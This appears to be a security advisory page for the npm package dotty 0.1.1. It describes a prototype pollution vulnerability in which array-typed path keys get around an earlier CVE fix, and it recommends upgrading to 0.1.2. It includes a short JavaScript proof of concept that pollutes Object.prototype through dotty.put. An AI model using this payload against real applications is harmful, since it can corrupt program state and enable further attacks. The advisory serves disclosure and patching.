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dotty@0.1.1 vulnerabilities

Access properties of nested objects using dot-path notation

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Direct Vulnerabilities

Known vulnerabilities in the dotty package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
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Prototype Pollution

dotty is a package that can access properties of nested objects using dot-path notation.

Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2021-25912 when the user-provided keys used in the path parameter are arrays.

PoC

const dotty = require('dotty');

// dotty.put({}, ['__proto__','polluted'], 'yes');
// console.log(polluted); // ReferenceError: polluted is not defined

dotty.put({}, [['__proto__'],'polluted'], 'yes');
console.log(polluted); // yes

How to fix Prototype Pollution?

Upgrade dotty to version 0.1.2 or higher.

<0.1.2
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